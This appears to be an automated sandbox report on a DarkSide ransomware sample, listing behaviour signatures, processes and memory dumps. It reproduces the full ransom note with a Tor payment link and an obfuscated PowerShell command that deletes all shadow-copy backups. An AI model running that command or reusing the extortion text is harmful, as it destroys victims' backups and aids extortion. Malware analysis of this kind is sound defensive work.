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250205-k785zs1pfn10Analysis
- max time kernel
421s - max time network
431s - platform
windows10-2004_x64 - resource
win10v2004-20240704-en - resource tags
- submitted
07/07/2024, 14:07
General
- Target RansomwareSamples/DarkSide_01_05_2021_30KB.exe
- Size 30KB
- Sample240707-rfgd8atekm
- SHA256 4d9432e8a0ceb64c34b13d550251b8d9478ca784e50105dc0d729490fb861d1a
Malware Config
Extracted
-
C:\Users\Admin\README.3941b434.TXT
-
darkside
- ----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/OBB5DDMR8RB9DI2RYYF376YGBJAV2J4F2NXFEWPBSXY709MAA0MY7PMBBQJ0HVG3 When you open our website, put the following data in the input form: Key: 5l5BZPnhuDEYAVqJR4MgValoWwML2OjDOtYwubDXeXGefcJDd4otfGdb9pJPrHW7Rt0XqdwabTWl9I5xhiHBsW6mg5BoqR4M2LZ0TI1hN4ifY7RVgRakjxxhhyImncWtgNb8LWtJlhn6cwtDLlsIjq0wAn8s7YsdzgTPPreHXEyFiFH1ozVIpZXV1mO5QXMZu16DNkFcXVIfdw5gPeSYjd3VAa7VlIH8IXgwCuza7YprCeDIOmvRqYK1jBH4s4nn0VyEHnWRndP7jNNUmat6FMhNzeKnLYGbMDRwmZR6iFdFX0Y3lhEWenDamVRchRSE5YwiL9LqTfkrnrswflssAB0SOcodZXRxG5HNItcitj3Za1NzC5fmBpdKN4jV01hMBG98ZEN8HMKeOdVxKtbAZP86K9IfBy8QcNrWLQ2hAeup6DD6KsG8R0Jj8czKTu4MDlGaxQMtPSycA0B6IzpPVV0Tbn9yWIIFH6y4mir71zDWbcPH3p5Hnr80gTnOFHXGzkGfrdy1bjn5H99zniLFFjchV8EEPMtgG2PwKF7NVQ9dTdlMBHWQpGc !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!
-
http://darksidfqzcuhtk2.onion/OBB5DDMR8RB9DI2RYYF376YGBJAV2J4F2NXFEWPBSXY709MAA0MY7PMBBQJ0HVG3
Signatures
- DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
- Renames multiple (159) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
- Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- UPX packed file 5 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Sets desktop wallpaper using registry 2 TTPs 2 IoCs
- Modifies Control Panel 1 IoCs
- Modifies registry class 5 IoCs
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 25 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\RansomwareSamples\DarkSide_01_05_2021_30KB.exe"C:\Users\Admin\AppData\Local\Temp\RansomwareSamples\DarkSide_01_05_2021_30KB.exe"1⤵
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
__PSScriptPolicyTest_hzcmfnpi.gew.ps1
README.3941b434.TXT
memory/4576-8-0x0000000000590000-0x00000000005A7000-memory.dmp
memory/4576-226-0x0000000000590000-0x00000000005A7000-memory.dmp
memory/4576-0-0x0000000000590000-0x00000000005A7000-memory.dmp
memory/4576-224-0x0000000000590000-0x00000000005A7000-memory.dmp
memory/4576-170-0x0000000000590000-0x00000000005A7000-memory.dmp
memory/4936-12-0x000001E5694A0000-0x000001E5694C2000-memory.dmp
memory/4936-27-0x00007FFCFE070000-0x00007FFCFEB31000-memory.dmp
memory/4936-24-0x00007FFCFE070000-0x00007FFCFEB31000-memory.dmp
memory/4936-23-0x00007FFCFE070000-0x00007FFCFEB31000-memory.dmp
memory/4936-22-0x00007FFCFE070000-0x00007FFCFEB31000-memory.dmp
memory/4936-11-0x00007FFCFE073000-0x00007FFCFE075000-memory.dmp